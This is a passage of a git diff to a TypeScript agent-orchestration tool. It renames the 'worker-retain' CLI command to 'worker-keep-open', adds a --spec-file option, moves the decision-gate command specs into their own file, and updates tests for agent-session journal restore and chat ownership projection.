'dispatch_1' @@ -120,7 +120,7 @@ describe('orchestration recovery command identity', () => { ).toEqual([ resolveOrchestrationCliExecutable(), 'orchestration', - 'worker-retain', + 'worker-keep-open', '--dispatch', 'dispatch_1' ]) diff --git a/src/cli/runtime/orchestration-recovery-command.ts b/src/cli/runtime/orchestration-recovery-command.ts index 706b1656ac6..65a44121419 100644 --- a/src/cli/runtime/orchestration-recovery-command.ts +++ b/src/cli/runtime/orchestration-recovery-command.ts @@ -52,7 +52,7 @@ export function buildOrchestrationRecoveryCommand( : method === 'orchestration.workerRelease' ? 'worker-release' : method === 'orchestration.workerRetain' - ? 'worker-retain' + ? 'worker-keep-open' : undefined if (!command || params === null || typeof params !== 'object') { return undefined diff --git a/src/cli/specs/orchestration-gate-specs.ts b/src/cli/specs/orchestration-gate-specs.ts new file mode 100644 index 00000000000..57ee98d0cb9 --- /dev/null +++ b/src/cli/specs/orchestration-gate-specs.ts @@ -0,0 +1,29 @@ +import { GLOBAL_FLAGS, type CommandSpec } from '../args' + +export const ORCHESTRATION_GATE_COMMAND_SPECS: CommandSpec[] = [ + { + path: ['orchestration', 'gate-create'], + summary: 'Create a decision gate blocking a task', + usage: + 'orca orchestration gate-create --task --question [--options ] [--from ] [--retry-request ] [--json]', + allowedFlags: [...GLOBAL_FLAGS, 'task', 'question', 'options', 'from', 'retry-request'], + identityFlagRoles: { from: 'caller' } + }, + { + path: ['orchestration', 'gate-resolve'], + summary: 'Resolve a pending decision gate', + usage: + 'orca orchestration gate-resolve --id --resolution [--from ] [--retry-request ] [--json]', + allowedFlags: [...GLOBAL_FLAGS, 'id', 'resolution', 'from', 'retry-request'], + identityFlagRoles: { from: 'caller' } + }, + { + path: ['orchestration', 'gate-list'], + summary: 'List decision gates', + usage: + 'orca orchestration gate-list [--task ] [--status ] [--run ] [--from ] [--json]', + allowedFlags: [...GLOBAL_FLAGS, 'task', 'status', 'run', 'from'], + identityFlagRoles: { from: 'caller' }, + notes: ['--run inspects a named Run without binding; otherwise gates are scoped to the caller.'] + } +] diff --git a/src/cli/specs/orchestration-worker-specs.ts b/src/cli/specs/orchestration-worker-specs.ts index 68f1887b658..0640ad27373 100644 --- a/src/cli/specs/orchestration-worker-specs.ts +++ b/src/cli/specs/orchestration-worker-specs.ts @@ -5,11 +5,13 @@ export const ORCHESTRATION_WORKER_COMMAND_SPECS: CommandSpec[] = [ path: ['orchestration', 'worker-start'], summary: 'Start one supervised worker on the Run home or a connected Orca server', usage: - 'orca orchestration worker-start (--task | --spec ) [--on ] [--worktree ] (--agent | --terminal ) [--task-title ] [--deps ] [--parent ] [--model ] [--effort ] [--name ] [--repo ] [--base-branch ] [--display-name ] [--comment ] [--setup ] [--retry-of ] [--timeout-ms ] [--run ] [--from ] [--retry-request ] [--json]', + 'orca orchestration worker-start (--task | --spec | --spec-file ) [--keep-open] [--on ] [--worktree ] (--agent | --terminal ) [--task-title ] [--deps ] [--parent ] [--model ] [--effort ] [--name ] [--repo ] [--base-branch ] [--display-name ] [--comment ] [--setup ] [--retry-of ] [--timeout-ms ] [--run ] [--from ] [--retry-request ] [--json]', allowedFlags: [ ...GLOBAL_FLAGS, 'task', 'spec', + 'spec-file', + 'keep-open', 'task-title', 'deps', 'parent', @@ -37,7 +39,7 @@ export const ORCHESTRATION_WORKER_COMMAND_SPECS: CommandSpec[] = [ 'Current and existing worktrees never rerun setup; a fresh agent terminal is created unless --terminal is explicit.', 'When reusing --terminal, pass --worktree for that terminal; current means the coordinator worktree.', "Reusing a settled worker's terminal with --terminal before its autoReleaseAt cancels that automatic release; after it, the start is refused while the release runs.", - 'A terminal the user kept open is refused for --terminal (terminal_kept_open); start the worker in another terminal.', + 'A terminal the user kept open takes --terminal work and stays kept open.', '--agent takes an Orca agent id enabled on the worker server, such as claude, codex, cursor, antigravity, muse, zcode, opencode, or opencode2.', '--model supports Claude, Codex, Cursor, Antigravity, Grok, and Muse opaque provider model ids; --effort requires --model. OMP accepts --model only; --effort is unsupported. Neither can combine with --terminal. OpenCode model selection requires an existing worktree, a verified execution-host CLI, and an available model; effort is unsupported. Other agents, including zcode, launch with the model from their own config.', 'New worktrees use agent-first creation and default --setup to run. Repository start-immediately runs setup beside the agent; wait-for-setup gates agent readiness and task input.', @@ -49,7 +51,9 @@ export const ORCHESTRATION_WORKER_COMMAND_SPECS: CommandSpec[] = [ '--on selects only the worker server; the Run and this command remain on the current Orca server.', 'Remote current and new-child are invalid; discover an exact remote selector or use new-top-level.', '--retry-of needs --task naming the failed Task (--spec creates a new one) and does not inherit placement; repeat the intended --on/worktree and --agent/terminal choices.', - 'The call exits 0 only for ready. Failed or outcome_unknown exits 1 and JSON includes stage/failedStage, setup, effects, residualResources, and recovery commands when needed.' + '--spec-file reads the spec from a file (relative to the current directory) or stdin (-) on this machine, so quotes and backticks need no shell escaping.', + '--keep-open keeps the worker open after it finishes, as worker-keep-open does right after start.', + 'The call exits 0 for ready, and in the concise view for a start whose turn was not yet observed (--full exits 1 for anything but ready). Failed or outcome_unknown exits 1 and JSON includes stage/failedStage, setup, effects, residualResources, and recovery commands when needed.' ] }, { @@ -109,14 +113,14 @@ export const ORCHESTRATION_WORKER_COMMAND_SPECS: CommandSpec[] = [ 'An inspectable output archive is preserved before the terminal closes, so worker-read still returns output afterwards.', 'Never closes setup terminals, configured tabs, reused or pre-existing terminals, terminals the user kept open, or unproven identities.', 'Idempotent: repeating the call reports already_released. Only release_unknown exits 1; retained, release_pending, and already_released exit 0.', - 'On a runtime that advertises orchestration.worker-auto-release.v1, an accepted worker_done already schedules this release about 2 minutes later (autoReleaseAt in worker-show and worker-list); call it only to release sooner or to clear a worker-retain. Chat workers follow autoReleaseAt too. autoReleaseAt is absent while its agent works again, and set afresh when it next goes idle.' + 'On a runtime that advertises orchestration.worker-auto-release.v1, an accepted worker_done already schedules this release about 2 minutes later (autoReleaseAt in worker-show and worker-list); call it only to release sooner or to clear a worker-keep-open. Chat workers follow autoReleaseAt too. autoReleaseAt is absent while its agent works again, and set afresh when it next goes idle.' ] }, { - path: ['orchestration', 'worker-retain'], - summary: 'Keep one supervised worker terminal live for debugging', + path: ['orchestration', 'worker-keep-open'], + summary: 'Keep a worker open after it finishes', usage: - 'orca orchestration worker-retain --dispatch [--retry-request ] [--json]', + 'orca orchestration worker-keep-open --dispatch [--retry-request ] [--json]', allowedFlags: [...GLOBAL_FLAGS, 'dispatch', 'retry-request'], notes: [ 'Records a durable user-requested exception; a later explicit worker-release clears it and releases the terminal.', @@ -126,6 +130,15 @@ export const ORCHESTRATION_WORKER_COMMAND_SPECS: CommandSpec[] = [ 'Performs no process or filesystem action.' ] }, + { + // Old name of worker-keep-open; hidden so it runs for existing scripts but is never suggested. + path: ['orchestration', 'worker-retain'], + hidden: true, + summary: 'Keep a worker open after it finishes (old name of worker-keep-open)', + usage: + 'orca orchestration worker-retain --dispatch [--retry-request ] [--json]', + allowedFlags: [...GLOBAL_FLAGS, 'dispatch', 'retry-request'] + }, { path: ['orchestration', 'worker-list'], summary: 'List supervised worker terminal resource accounting', @@ -134,7 +147,7 @@ export const ORCHESTRATION_WORKER_COMMAND_SPECS: CommandSpec[] = [ allowedFlags: [...GLOBAL_FLAGS, 'run', 'terminal-state', 'include-remote', 'cursor', 'limit'], notes: [ 'Terminal state is process accounting and is reported separately from Task status; a completed Task can still own a live terminal.', - 'A reclaimable worker with resource.autoReleaseAt is released automatically at that time unless it is reused with worker-start --terminal, retained, or kept open by the user.', + 'A reclaimable worker with resource.autoReleaseAt is released automatically at that time unless it is reused with worker-start --terminal or kept open (worker-keep-open, worker-start --keep-open, or the user).', 'Context-only Dispatches created by orchestration dispatch are included as unsupervised with terminal state retained.', 'Returns at most 100 local rows, newest first, by default; --include-remote adds connected-server observations when the host supports fleet listing. Continue with the opaque nextCursor value unchanged.', 'Without --run the list is scoped to the Run bound to the calling terminal, and to every Run when there is no binding; the receipt reports which in scope.source (flag, bound, or all).' diff --git a/src/cli/specs/orchestration.ts b/src/cli/specs/orchestration.ts index 927b72a310a..0ff983d3923 100644 --- a/src/cli/specs/orchestration.ts +++ b/src/cli/specs/orchestration.ts @@ -1,4 +1,5 @@ import { GLOBAL_FLAGS, type CommandSpec } from '../args' +import { ORCHESTRATION_GATE_COMMAND_SPECS } from './orchestration-gate-specs' import { ORCHESTRATION_WORKER_COMMAND_SPECS } from './orchestration-worker-specs' export const ORCHESTRATION_COMMAND_SPECS: CommandSpec[] = [ @@ -139,10 +140,11 @@ export const ORCHESTRATION_COMMAND_SPECS: CommandSpec[] = [ path: ['orchestration', 'task-create'], summary: 'Create an orchestration task', usage: - 'orca orchestration task-create --spec [--task-title ] [--display-name ] [--deps ] [--parent ] [--run ] [--from ] [--retry-request ] [--json]', + 'orca orchestration task-create (--spec | --spec-file ) [--task-title ] [--display-name ] [--deps ] [--parent ] [--run ] [--from ] [--retry-request ] [--json]', allowedFlags: [ ...GLOBAL_FLAGS, 'spec', + 'spec-file', 'task-title', 'display-name', 'deps', @@ -160,7 +162,9 @@ export const ORCHESTRATION_COMMAND_SPECS: CommandSpec[] = [ 'orca orchestration task-list [--status ] [--ready] [--brief] [--run ] [--from ] [--json]', allowedFlags: [...GLOBAL_FLAGS, 'status', 'ready', 'brief', 'run', 'from'], identityFlagRoles: { from: 'caller' }, - notes: ['--brief collapses whitespace and caps each spec at 160 characters.'] + notes: [ + 'Rows show id, status, and title; --full adds each spec and result, where --brief collapses whitespace and caps each spec at 160 characters.' + ] }, { path: ['orchestration', 'task-update'], @@ -265,31 +269,7 @@ export const ORCHESTRATION_COMMAND_SPECS: CommandSpec[] = [ 'This command performs no effects and returns the exact `skills get orchestration --full` recovery action.' ] }, - { - path: ['orchestration', 'gate-create'], - summary: 'Create a decision gate blocking a task', - usage: - 'orca orchestration gate-create --task --question [--options ] [--from ] [--retry-request ] [--json]', - allowedFlags: [...GLOBAL_FLAGS, 'task', 'question', 'options', 'from', 'retry-request'], - identityFlagRoles: { from: 'caller' } - }, - { - path: ['orchestration', 'gate-resolve'], - summary: 'Resolve a pending decision gate', - usage: - 'orca orchestration gate-resolve --id --resolution [--from ] [--retry-request ] [--json]', - allowedFlags: [...GLOBAL_FLAGS, 'id', 'resolution', 'from', 'retry-request'], - identityFlagRoles: { from: 'caller' } - }, - { - path: ['orchestration', 'gate-list'], - summary: 'List decision gates', - usage: - 'orca orchestration gate-list [--task ] [--status ] [--run ] [--from ] [--json]', - allowedFlags: [...GLOBAL_FLAGS, 'task', 'status', 'run', 'from'], - identityFlagRoles: { from: 'caller' }, - notes: ['--run inspects a named Run without binding; otherwise gates are scoped to the caller.'] - }, + ...ORCHESTRATION_GATE_COMMAND_SPECS, { path: ['orchestration', 'reset'], destructive: true, diff --git a/src/main/acp/acp-declared-effort.test-fixture.ts b/src/main/acp/acp-declared-effort.test-fixture.ts index 9ae665ebfa8..58321052890 100644 --- a/src/main/acp/acp-declared-effort.test-fixture.ts +++ b/src/main/acp/acp-declared-effort.test-fixture.ts @@ -19,6 +19,7 @@ import { agentModelCatalogResultFromEntry, entryWithConfiguredDefault } from '../native-chat/agent-model-catalog/agent-model-catalog-entry' +import { hostTestCatalogReadOperation } from '../native-chat/agent-session-wire/structured-agent-session-host-test-data' import { readStructuredAgentSessionOptions } from '../native-chat/agent-session-wire/structured-agent-session-options-read' import { openStructuredAgentSessionConversationJournal } from '../native-chat/agent-session-wire/structured-agent-session-conversation-open' import type { StructuredAgentSessionAdapter } from '../native-chat/agent-session-wire/structured-agent-session-adapter' @@ -174,6 +175,7 @@ export async function readRecordedAcpOptions( journalDatabase: openTestJournalHostDatabase(root), claimKeyId: 'test-key', modelCatalog: { + captureRead: hostTestCatalogReadOperation, read: async () => catalog, snapshot: () => catalog, prepareSaved: async () => catalog, diff --git a/src/main/acp/acp-structured-host-live-listing.test.ts b/src/main/acp/acp-structured-host-live-listing.test.ts index bfe356f3e06..85dfac9c404 100644 --- a/src/main/acp/acp-structured-host-live-listing.test.ts +++ b/src/main/acp/acp-structured-host-live-listing.test.ts @@ -1,5 +1,12 @@ +import { + hostTestCatalogReadOperation, + HOST_TEST_SESSION as SESSION +} from '../native-chat/agent-session-wire/structured-agent-session-host-test-data' import { AcpStructuredOptions } from './acp-structured-options' -import { createAgentModelCatalogService } from '../native-chat/agent-model-catalog/agent-model-catalog-service' +import { + createAgentModelCatalogService, + type AgentModelCatalogService +} from '../native-chat/agent-model-catalog/agent-model-catalog-service' import { AgentModelCatalogStore, type AgentModelCatalogEntry @@ -14,8 +21,6 @@ import { GROK_CONFIG_OPTIONS, PROVIDER_SESSION } from './acp-structured-adapter. import { afterEach, describe, expect, it, onTestFinished, vi } from 'vitest' import { closeProviderTimelineRigs } from '../native-chat/agent-session-timeline/provider-timeline-assembler-test-support' -import { HOST_TEST_SESSION as SESSION } from '../native-chat/agent-session-wire/structured-agent-session-host-test-data' -import type { AgentModelCatalogService } from '../native-chat/agent-model-catalog/agent-model-catalog-service' import { attachParams, openAttachedHostRig, openHostRig } from './acp-structured-host.test-support' afterEach(async () => { @@ -92,6 +97,7 @@ describe('a live Grok listing', () => { it('starts the chat even when saving its start listing throws', async () => { const modelCatalog: AgentModelCatalogService = { + captureRead: hostTestCatalogReadOperation, snapshot: vi.fn(() => ({ origin: 'unknown' as const })), demand: vi.fn(async () => {}), prepareSaved: vi.fn(async () => ({ origin: 'unknown' as const })), diff --git a/src/main/acp/acp-structured-host-restore-failed.test.ts b/src/main/acp/acp-structured-host-restore-failed.test.ts index 77a60307d11..b4d2f5e2722 100644 --- a/src/main/acp/acp-structured-host-restore-failed.test.ts +++ b/src/main/acp/acp-structured-host-restore-failed.test.ts @@ -11,7 +11,7 @@ import { HOST_TEST_SESSION as SESSION } from '../native-chat/agent-session-wire/ import type { AcpScriptedAgent } from './acp-scripted-agent.test-support' import { GROK, GROK_CONFIG_OPTIONS, PROVIDER_SESSION } from './acp-structured-adapter.test-support' import { ACP_HANDLE_TRANSPORT } from './acp-structured-agent-definitions' -import { replayJournal } from '../native-chat/agent-session-journal/journal-open' +import { restoreJournal } from '../native-chat/agent-session-journal/journal-open' import { AgentSessionJournal } from '../native-chat/agent-session-journal/journal-store' import { createAcpStructuredLaunchResolver } from '../runtime/structured-agent-launch-composition.test-support' import { @@ -83,7 +83,7 @@ async function openRestoreRig(code: number, message: string) { const { rig, host, store, journalDatabase } = opened resolver.resolve = createAcpStructuredLaunchResolver(GROK, { store, - readJournal: (sessionId) => replayJournal(journalDatabase.db, sessionId), + readJournal: (sessionId) => restoreJournal(journalDatabase.db, sessionId), resolveWorkspacePath: async () => '/workspace', resolveEnvironment: async () => ({ PATH: '/usr/bin' }), resolveCommand: () => '/fake/grok' @@ -225,17 +225,25 @@ describe('a created Grok session Grok reports missing on the first reopen', () = describe('a replacement after its earlier attach failed to open the journal', () => { async function failAttachBeforeReplacement() { const opened = await openRestoreRig(-32603, 'session file is corrupt') - const { host, store, fence, warnings, ready } = opened + const { host, store, fence, warnings, ready, rig } = opened expect(await host.attach(CALLER, attachParams())).toMatchObject({ ok: true }) await ready() await host.close(SESSION, 'user-close') + const spawnedBefore = [...rig.spawned] + const chainBefore = structuredClone(store.getRecord(SESSION)?.providerHandleChain) // Fail before the spawned child's background handshake can prove a replacement link. vi.spyOn(AgentSessionJournal.prototype, 'open').mockRejectedValueOnce( new Error('journal path unavailable') ) - await expect(host.attach(CALLER, attachParams(fence()))).rejects.toThrow( - 'journal path unavailable' - ) + expect(await host.attach(CALLER, attachParams(fence()))).toMatchObject({ + ok: false, + refusal: { + code: 'agent_session_journal_unreadable', + details: { reason: 'journalUnavailable' } + } + }) + expect(rig.spawned).toEqual(spawnedBefore) + expect(store.getRecord(SESSION)?.providerHandleChain).toEqual(chainBefore) expect( agentSessionProviderHandleChainHead(store.getRecord(SESSION)?.providerHandleChain ?? []) ).toMatchObject({ diff --git a/src/main/acp/acp-structured-launch-resolution.test.ts b/src/main/acp/acp-structured-launch-resolution.test.ts index 79baa2313bb..913f5ea6cd2 100644 --- a/src/main/acp/acp-structured-launch-resolution.test.ts +++ b/src/main/acp/acp-structured-launch-resolution.test.ts @@ -10,7 +10,17 @@ import { } from '../../shared/agent-session-provider-handle' import type { AgentSessionRecord } from '../../shared/agent-session-record' import { agentSessionRecordFixture } from '../../shared/agent-session-record.test-fixture' +import { replayJournal, restoreJournal } from '../native-chat/agent-session-journal/journal-open' +import { + openTestJournalHostDatabase, + closeTestJournalHostDatabase, + publishTestJournalEpoch, + insertTestJournalRow, + insertTestJournalRowJson +} from '../native-chat/agent-session-journal/journal-host-database-test-support' import type { JournalLoad } from '../native-chat/agent-session-journal/journal-open' +import { publishJournalOutcomeEpoch } from '../native-chat/agent-session-journal/journal-outcome-write' +import type { JournalRow } from '../native-chat/agent-session-journal/journal-row-schema' import { createJournalReducerState } from '../native-chat/agent-session-journal/journal-reducer' import { agentJournalItemKey } from '../../shared/agent-session-journal-item-key' import { @@ -78,6 +88,153 @@ function resolver(record: AgentSessionRecord, readJournal: () => JournalLoad | n } describe('ACP launch resolution', () => { + it('preserves resume and loss-warning decisions through a restore and an unreadable tail', async () => { + const root = mkdtempSync(join(tmpdir(), 'orca-acp-saved-read-')) + const database = openTestJournalHostDatabase(root) + try { + const handle: AgentSessionProviderHandle = { + transport: 'acp', + agent: 'grok', + nativeId: 'acp-1' + } + const lostKey = agentSessionProviderHandleKey({ ...handle, nativeId: 'acp-lost' }) + const record = grokRecord({ + providerHandleChain: [ + { + linkId: 'head', + origin: 'created', + mintedAtFence: 1, + observedAt: 1, + handle, + replaces: { key: lostKey, reason: 'restore-failed', replacedAt: 1 } + } + ] + }) + publishTestJournalEpoch(database.db, identity.sessionId, 'epoch-1') + insertTestJournalRow(database.db, identity.sessionId, { + v: 4, + epoch: 'epoch-1', + seq: 1, + fence: 1, + ts: 1, + kind: 'epoch', + reason: 'session_created', + providerHandle: { kind: 'opaque', agent: 'grok', value: 'acp-1' } + }) + const turn = [...journalWithTurns('acp-1').state.items.values()][0]! + const turnIdentity = createLegacyProviderTimelineIdentityScheme({ + agent: 'grok', + sessionId: identity.sessionId + }).item({ + namespace: 'acp-1', + family: 'item', + key: { source: 'provider', value: 'turn' }, + thread: 'acp-1' + }) + insertTestJournalRow(database.db, identity.sessionId, { + v: 4, + epoch: 'epoch-1', + seq: 2, + fence: 1, + ts: 2, + kind: 'item', + itemId: agentJournalItemKey(turnIdentity), + revision: 1, + body: turn.body + }) + const readDecisions = async (readJournal: () => JournalLoad | null) => { + const launch = await resolver(record, readJournal).resolve({ identity }) + return { + unsaved: launch.resume?.mayBeUnsaved(), + losses: launch.resume?.unannouncedLosses() + } + } + const full = () => replayJournal(database.db, identity.sessionId) + const restored = () => restoreJournal(database.db, identity.sessionId) + expect(await readDecisions(restored)).toStrictEqual(await readDecisions(full)) + expect(await readDecisions(restored)).toEqual({ unsaved: false, losses: [lostKey] }) + insertTestJournalRowJson(database.db, identity.sessionId, 3, '{damaged') + expect(await readDecisions(restored)).toStrictEqual(await readDecisions(full)) + expect(await readDecisions(restored)).toEqual({ unsaved: false, losses: [] }) + } finally { + await closeTestJournalHostDatabase(root) + rmSync(root, { recursive: true, force: true }) + } + }) + + it('reads an outcome chat from its records, and a newer one as unreadable', async () => { + const root = mkdtempSync(join(tmpdir(), 'orca-acp-outcome-read-')) + const database = openTestJournalHostDatabase(root) + try { + const handle: AgentSessionProviderHandle = { + transport: 'acp', + agent: 'grok', + nativeId: 'acp-1' + } + const lostKey = agentSessionProviderHandleKey({ ...handle, nativeId: 'acp-lost' }) + const record = grokRecord({ + providerHandleChain: [ + { + linkId: 'head', + origin: 'created', + mintedAtFence: 1, + observedAt: 1, + handle, + replaces: { key: lostKey, reason: 'restore-failed', replacedAt: 1 } + } + ] + }) + const turn = [...journalWithTurns('acp-1').state.items.values()][0]! + const rows: JournalRow[] = [ + { + v: 4, + epoch: 'epoch-1', + seq: 1, + fence: 1, + ts: 1, + kind: 'epoch', + reason: 'session_created', + providerHandle: { kind: 'opaque', agent: 'grok', value: 'acp-1' } + }, + { + v: 4, + epoch: 'epoch-1', + seq: 2, + fence: 1, + ts: 2, + kind: 'item', + itemId: 'turn', + revision: 1, + body: turn.body + } + ] + // A chat this build created holds only records. + database.transaction((db) => { + publishTestJournalEpoch(db, identity.sessionId, 'epoch-1') + publishJournalOutcomeEpoch(db, identity.sessionId, 'epoch-1', rows) + }) + const readDecisions = async () => { + const launch = await resolver(record, () => + restoreJournal(database.db, identity.sessionId) + ).resolve({ identity }) + return { + unsaved: launch.resume?.mayBeUnsaved(), + losses: launch.resume?.unannouncedLosses() + } + } + expect(restoreJournal(database.db, identity.sessionId)?.state.items.has('turn')).toBe(true) + // The turn on acp-1 is found, so the exchange is saved; the loss has no warning yet. + expect(await readDecisions()).toEqual({ unsaved: false, losses: [lostKey] }) + // A newer build's records are unreadable here, never a missing chat. + database.db.prepare('UPDATE journal_outcome_epochs SET format = 2').run() + expect(restoreJournal(database.db, identity.sessionId)?.newer).toBeTruthy() + expect(await readDecisions()).toEqual({ unsaved: false, losses: [] }) + } finally { + await closeTestJournalHostDatabase(root) + rmSync(root, { recursive: true, force: true }) + } + }) + it('pins the record account home and searches the agent install dir', async () => { const { resolve, searched } = resolver(grokRecord()) const launch = await resolve({ identity }) diff --git a/src/main/acp/acp-structured-unknown-window-usage.test.ts b/src/main/acp/acp-structured-unknown-window-usage.test.ts new file mode 100644 index 00000000000..d466995345e --- /dev/null +++ b/src/main/acp/acp-structured-unknown-window-usage.test.ts @@ -0,0 +1,49 @@ +import { afterEach, describe, expect, it } from 'vitest' +import { readAgentJournalTurn } from '../../shared/agent-session-turn-record' +import { restoreJournal } from '../native-chat/agent-session-journal/journal-open' +import { JournalWriteProjection } from '../native-chat/agent-session-journal/journal-write-projection' +import { closeProviderTimelineRigs } from '../native-chat/agent-session-timeline/provider-timeline-assembler-test-support' +import { HOST_TEST_SESSION as SESSION } from '../native-chat/agent-session-wire/structured-agent-session-host-test-data' +import { PROVIDER_SESSION, replyChunk, waitFor } from './acp-structured-adapter.test-support' +import { openAttachedHostRig, promptIdOf, send } from './acp-structured-host.test-support' + +afterEach(async () => { + JournalWriteProjection.verifyEachCommit = false + await closeProviderTimelineRigs() +}) + +describe('an ACP usage report with an unknown window', () => { + // The protocol allows `size: 0`; the saved reader drops that window as unusable. + it('keeps the turn running, and the live chat equals what a reload reads', async () => { + // Each commit then restores the chat from disk and fails the write if it differs from live. + JournalWriteProjection.verifyEachCommit = true + const rig = await openAttachedHostRig() + const { host } = rig + await send(host, 'hello') + const prompt = await rig.rig.frame('session/prompt') + const { agent } = rig.rig.child() + agent.notify('session/update', replyChunk(promptIdOf(prompt), 'Oak')) + agent.notify('session/update', { + sessionId: PROVIDER_SESSION, + update: { sessionUpdate: 'usage_update', used: 1_200, size: 0 } + }) + agent.notify('session/update', replyChunk(promptIdOf(prompt), ' tree')) + agent.reply(prompt, { stopReason: 'end_turn' }) + await rig.rig.settle() + await waitFor(async () => + expect((await rig.turns()).map((turn) => turn.state)).toEqual(['completed']) + ) + expect(rig.rig.child().exited).toBe(false) + expect((await rig.rows()).filter((row) => row.body.kind === 'status')).toEqual([]) + expect((await rig.turns()).at(-1)?.contextUsage).toBeUndefined() + + const loaded = restoreJournal(rig.journalDatabase.db, SESSION) + expect(loaded?.damage).toBeFalsy() + expect(loaded?.newer).toBeFalsy() + const saved = [...(loaded?.state.items.values() ?? [])].flatMap( + (item) => readAgentJournalTurn(item.body) ?? [] + ) + expect(saved).toEqual(await rig.turns()) + await host.close(SESSION, 'user-close') + }) +}) diff --git a/src/main/ai-vault/structured-session-ownership.test-support.ts b/src/main/ai-vault/structured-session-ownership.test-support.ts index b3d7da7ce65..0e33f415fa4 100644 --- a/src/main/ai-vault/structured-session-ownership.test-support.ts +++ b/src/main/ai-vault/structured-session-ownership.test-support.ts @@ -1,3 +1,4 @@ +import { vi } from 'vitest' import { agentSessionConversationView } from '../../shared/agent-session-conversation-view' import type { AgentSessionRecord } from '../../shared/agent-session-record' import { @@ -20,9 +21,10 @@ export function installOwnership( overrides: Partial> & { handle?: AgentSessionProviderHandle accountHome?: AgentSessionRecord['accountHome'] + acquiredAccount?: AgentSessionRecord['acquiredAccount'] } = {} ): void { - const { handle, accountHome, ...ownershipOverrides } = overrides + const { handle, accountHome, acquiredAccount, ...ownershipOverrides } = overrides const ownership: Omit = { sessionId: 'session-alpha', workspaceId: 'workspace-1', @@ -32,40 +34,41 @@ export function installOwnership( ownerObservation: agentSessionConversationView(agentSessionRecordFixture()).ownerObservation, ...ownershipOverrides } - const record = agentSessionRecordFixture( + const fixture = agentSessionRecordFixture( agentSessionLeaseFixture({ sessionId: ownership.sessionId }) ) - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the ownership read touches only `deps.store.listConversations`; the rest of the host is never reached. + const record: AgentSessionRecord = { + ...fixture, + sessionId: ownership.sessionId, + accountHome: accountHome ?? fixture.accountHome, + location: { + ...fixture.location, + workspaceId: ownership.workspaceId, + wslDistro: ownership.wslDistro + }, + provider: ownership.provider, + providerHandleChain: [ + { + ...fixture.providerHandleChain[0]!, + handle: + handle ?? + (ownership.provider === 'claude' + ? claudeProviderHandle(ownership.providerSessionId, null) + : codexProviderHandle(ownership.providerSessionId)) + } + ], + ...(ownership.conversationName ? { conversationName: ownership.conversationName } : {}), + ...(acquiredAccount === undefined ? {} : { acquiredAccount }) + } + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the ownership read touches only `deps.store.listConversations`, `getRecord` and `hostId`; the rest of the host is never reached. setStructuredAgentSessionHost({ deps: { store: { + hostId: record.lease.ownerProcess?.hostId ?? 'local', + getRecord: (sessionId: string) => (sessionId === record.sessionId ? record : null), listConversations: () => [ { - ...agentSessionConversationView({ - ...record, - sessionId: ownership.sessionId, - accountHome: accountHome ?? record.accountHome, - location: { - ...record.location, - workspaceId: ownership.workspaceId, - wslDistro: ownership.wslDistro - }, - provider: ownership.provider, - providerHandleChain: [ - { - ...record.providerHandleChain[0]!, - handle: - handle ?? - (ownership.provider === 'claude' - ? claudeProviderHandle(ownership.providerSessionId, null) - : codexProviderHandle(ownership.providerSessionId)) - } - ], - lease: record.lease, - ...(ownership.conversationName - ? { conversationName: ownership.conversationName } - : {}) - }), + ...agentSessionConversationView(record), ownerObservation: ownership.ownerObservation } ] @@ -121,11 +124,17 @@ export function codexChatHolding(sessionId: string, threadIds: string[]): AgentS } } -export function installChats(records: AgentSessionRecord[]): void { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the ownership read touches only `deps.store.listConversations`; the rest of the host is never reached. - setStructuredAgentSessionHost({ - deps: { store: { listConversations: () => records.map(agentSessionConversationView) } } - } as never) +/** Returns the fake store's spies so a projection can be held to an operation count. */ +export function installChats(records: AgentSessionRecord[]) { + const byId = new Map(records.map((record) => [record.sessionId, record])) + const store = { + hostId: 'local', + getRecord: vi.fn((sessionId: string) => byId.get(sessionId) ?? null), + listConversations: vi.fn(() => records.map(agentSessionConversationView)) + } + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the ownership read touches only `deps.store.listConversations`, `getRecord` and `hostId`; the rest of the host is never reached. + setStructuredAgentSessionHost({ deps: { store } } as never) + return store } export function listResult(): AiVaultListResult { diff --git a/src/main/ai-vault/structured-session-ownership.test.ts b/src/main/ai-vault/structured-session-ownership.test.ts index 98f291ef243..76fa4a068bf 100644 --- a/src/main/ai-vault/structured-session-ownership.test.ts +++ b/src/main/ai-vault/structured-session-ownership.test.ts @@ -9,6 +9,10 @@ import { agentSessionLeaseFixture, agentSessionRecordFixture } from '../../shared/agent-session-record.test-fixture' +import { + acquiredAgentSessionAccount, + withAcquiredAgentSessionAccount +} from '../../shared/agent-session-acquired-account' import { setStructuredAgentSessionHost } from '../native-chat/agent-session-wire/structured-agent-session-registry' import { assertLegacyAiVaultResumeAllowed, @@ -120,6 +124,65 @@ describe('structured AI Vault ownership', () => { } ) + it('shows the account a Claude chat was last launched under, else its founding home', () => { + const founding = { variable: 'CLAUDE_CONFIG_DIR', path: '/accounts/founding' } as const + const launched = { variable: 'CLAUDE_CONFIG_DIR', path: '/accounts/launched/home' } + const record = withAcquiredAgentSessionAccount( + agentSessionRecordFixture(agentSessionLeaseFixture({ sessionId: 'session-alpha' })), + { generation: 'g-1', recipe: { route: 'managed', accountId: 'b', home: launched.path } } + ) + const receipt = acquiredAgentSessionAccount(record) + if (!receipt) { + throw new Error('the fixture record did not accept its acquisition receipt') + } + const result = listResult() + result.sessions[0]!.agent = 'claude' + const shown = () => + projectStructuredAiVaultSessions(result, OPENS_EVERY_STRUCTURED_CHAT).sessions[0]?.accountHome + installOwnership({ provider: 'claude', accountHome: founding, acquiredAccount: receipt }) + expect(shown()).toEqual(launched) + // A receipt the current process generation did not write no longer describes this chat. + installOwnership({ + provider: 'claude', + accountHome: founding, + acquiredAccount: { ...receipt, observedThroughFence: 1 } + }) + expect(shown()).toEqual(founding) + installOwnership({ provider: 'claude', accountHome: founding }) + expect(shown()).toEqual(founding) + }) + + it.each([10, 100])( + 'projects %i owned History rows with one roster read and one record lookup per owned row', + (n) => { + const records = Array.from({ length: n }, (_, index) => + codexChatHolding(`session-${index}`, [`thread-${index}`]) + ) + const store = installChats(records) + const base = listResult().sessions[0]! + const rows = records.map((_, index) => ({ + ...base, + id: `local:codex:thread-${index}`, + sessionId: `thread-${index}`, + title: `Row ${index}` + })) + const unowned = { ...base, id: 'local:codex:unowned', sessionId: 'thread-unowned' } + const result = { ...listResult(), sessions: [...rows, unowned] } + const projected = projectStructuredAiVaultSessions(result, OPENS_EVERY_STRUCTURED_CHAT) + 